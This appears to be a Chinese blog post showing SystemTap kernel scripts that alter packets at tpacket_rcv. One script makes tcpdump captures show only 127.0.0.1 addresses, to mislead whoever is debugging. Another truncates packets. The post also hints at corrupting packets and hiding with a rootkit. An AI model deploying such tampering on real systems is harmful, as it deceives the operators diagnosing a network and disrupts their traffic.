systemtap迷惑别人抓包,修改或者损坏数据包

一般遇到莫名其妙的网络问题时,第一反应就是抓包分析,然而抓取的数据包真的可信吗?

抓包会不会帮倒忙,让事情更加微妙从而火上浇油呢?我让你抓,抓个毛线啊!

完全正确,只要做一点手脚即可,这次我用systemtap。

我希望的效果是,只要你抓包,显示的都是127.0.0.1到本机的包,哈哈,无论怎样都是这种数据包,从而迷惑程序员的判断。

stap的脚本代码如下:

#! /usr/bin/stap -g

%{
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/if_packet.h>
%}

function reset_skb(skb:long, type:long)
%{
	struct sk_buff *skb2 = (struct sk_buff *)STAP_ARG_skb;
	struct ethhdr *eth;
	struct iphdr *hdr;

	eth = (struct ethhdr *)skb_mac_header(skb2);
	if (skb2->pkt_type == PACKET_OUTGOING)
		eth = (struct ethhdr *)(skb2->data);
	if (eth->h_proto != 8) return;
	hdr = (struct iphdr *)(((char *)eth) + sizeof(struct ethhdr));
	if (STAP_ARG_type == 0) {
		// rehat系列可用,否则就借用mark之类的IP层以下不用的字段(bridge除外)。
		skb2->rh_reserved1 = hdr->saddr;
		skb2->rh_reserved2 = hdr->daddr;
		hdr->saddr = 0x100007f;
		hdr->daddr = 0x100007f;
	} else {
		hdr->saddr = skb2->rh_reserved1;
		hdr->daddr = skb2->rh_reserved2;
	}
%}

probe kernel.function("tpacket_rcv")
{
	reset_skb($skb, 0);
}

// probe return是必须的,下面会讲
probe kernel.function("tpacket_rcv").return
{
	reset_skb($skb, 1);
}

来看看效果:
在这里插入图片描述
运行脚本和X掉脚本的对比如上图所示。

其实,我本来是可以用Rootkit的方式来完成这件事的,并且隐藏掉Rootkit存在的事实,这些东西我之前都写过,也没有必要在赘述了。简单起见,我用stap。

我的意思是,使用stap的语法会更加高效且安全,在编译期就避开了各种规避panic的debug工作,毕竟人生苦短啊。

然而,我上面的脚本依然使用了本地化的内联C代码,只怪我术业不精吧。

Java调用C的Jni,C调用汇编的内联汇编,stap调用C的本例,bpf调用内核API,都属于同一回事。

下面举一个纯粹点的例子,完全用stap的语法来改点东西:

#! /usr/bin/stap

probe kernel.function("tpacket_rcv")
{
	len = @cast($skb, "sk_buff")->len;
	if (len > 500) {
		@cast($skb, "sk_buff")->len = 10;
	}
}

很简单,我把数据包从协议头就截断了,显然抓取的ping -s 1000大包都无法识别

# 直连机器 ping 100.100.100.1 本机抓包如下
[root@localhost ~]# tcpdump -i enp0s9 -n -v
tcpdump: listening on enp0s9, link-type EN10MB (Ethernet), capture size 262144 bytes
15:32:18.379180 IP [|ip]
15:32:19.403423 IP [|ip]
15:32:20.427958 IP [|ip]
15:32:21.451891 IP [|ip]
^C

虽然抓包被截断了,可是为什么ping也ping不通了呢?

因为Linux内核抓包处理函数并没有copy一份新的skb,而仅仅是increase了skb的引用计数而已,因此在tpacket_rcv中修改了数据包,那就修改了数据包本身,所以说,如果仅仅希望影响抓包效果,那么在抓包函数return的时候,一定要把包改回来,这也就是为什么要probe return的原因。

如果你想丢包,那就把数据包改坏吧:

  • 基于元组match来损坏数据包,OK。
  • 随便修改TCP/UDP的内容导致校验码损坏,OK。

哦,现在是下班时间,我想给经理beat electric discourse.


浙江温州皮鞋湿,下雨进水不会胖。

©️2020 CSDN 皮肤主题: 编程工作室 设计师:CSDN官方博客 返回首页